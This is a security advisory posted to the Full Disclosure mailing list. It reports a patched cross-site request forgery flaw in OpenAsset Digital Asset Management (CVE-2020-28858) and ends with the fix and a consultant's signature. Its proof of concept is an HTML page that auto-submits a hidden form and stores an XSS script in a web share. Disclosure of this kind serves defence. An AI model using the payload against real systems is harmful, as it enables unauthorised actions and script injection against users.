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Date: Thu, 10 Dec 2020 07:59:00 +0000
From: Jack Misiura via Fulldisclosure <fulldisclosure@...lists.org>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Cross-site request forgery (CSRF) in OpenAsset Digital Asset
 Management 11.2.1/12.0.19 disclosure

Title: Cross-site request forgery (CSRF)

 

Product: OpenAsset Digital Asset Management by OpenAsset

 

Vendor Homepage: https://www.openasset.com/

 

Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)

 

Fixed Version: 12.0.26 (Cloud) 11.4.10 (On-premise)

 

CVE Number: CVE-2020-28858

 

Author: Jack Misiura from The Missing Link 

 

Website: https://www.themissinglink.com.au

 

Timeline:

 

2020-11-14 Disclosed to Vendor

2020-12-04 Vendor releases final patches

2020-12-10 Publication

 

1. Vulnerability Description

 

The OpenAsset Digital Asset Management web application was vulnerable to cross-site request forgery because it did not verify whether a request made to itself was intentionally made by the user. All actions performed by the user's navigating the site, including all administrative user actions were found to be vulnerable.

 

2. PoC

 

While all endpoints are vulnerable, the best attack involves using the web share functionality, to introduce a stored XSS through CSRF. The web shares are shared with third parties by application users. To perform the attack, the following HTML page can be hosted on an attacker controlled site:

 

<html>    

    <body>

        CSRF / Stored XSS Attack Demo - WebShares

        <iframe src="https://target-site.com/404page/123" name="targetFrame" style="display:none">

        </iframe>        

        <form id="myEvilForm" name="submit" action="https://target-site.com/AJAXPage/EditDownload" target="targetFrame" method="POST" style="display:none"> 

                                                                   <input type="text" name="code" value="CODE GOES HERE"><br/>            

            <input type="text" name="name" value="Test&lt;script&gt;alert(&quot;CSRF and XSS attack!&quot;);&lt;/script&gt;"><br/>

            <input type="text" name="description" value="SharedFolder"><br/>

            <input type="text" name="expires" value="1"><br/>

            <input type="text" name="expiryDate" value="12-12-2030"><br/>

            <input type="text" name="maximumDownloads" value=""><br/>

            <input type="text" name="notifyEveryDownload" value="1"><br/>

            <input type="text" name="alive" value="on"><br/>

            <input type="text" name="action" value="submit"><br/>

            <input type="submit" value="Submit"><br/>

       </form>        

    </body>

    <script>

        alert("Ready to submit CSRF attack.");

        myEvilForm.submit();

        alert("Done.");

    </script>

</html>

 

The code value must be replaced with the appropriate web share code - this is acquired when the web share is sent to the unauthenticated third parties. The attacker only needs to convince the user who sent the original web share information out to visit the example site.

 

3. Solution

 

The vendor provides an updated version (11.4.10) which should be installed immediately. If using the cloud version, the vendor has already updated it.

 

4. Advisory URL

 

https://www.themissinglink.com.au/security-advisories

 






Jack Misiura​


Application Security Consultant




a



9‑11 Dickson Avenue


Artarmon


NSW


2064



p


1300 865 865



os


+61 2 8436 8585



w


 <https://www.themissinglink.com.au/> themissinglink.com.au








 



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 <https://forms.office.com/Pages/ResponsePage.aspx?id=XZw2opTdq0iPe7AFmjygSPnqgoo11WREpgCEhJxsz3FUMUxTOUREUVRDTzBNQ0pKTkFaS1lETEFaSi4u> 





​CAUTION - This message may contain privileged and confidential information intended only for the use of the addressee named above. If you are not the intended recipient of this message you are hereby notified that any use, dissemination, distribution or reproduction of this message is prohibited. If you have received this message in error please notify The Missing Link immediately. Any views expressed in this message are those of the individual sender and may not necessarily reflect the views of The Missing Link.

 


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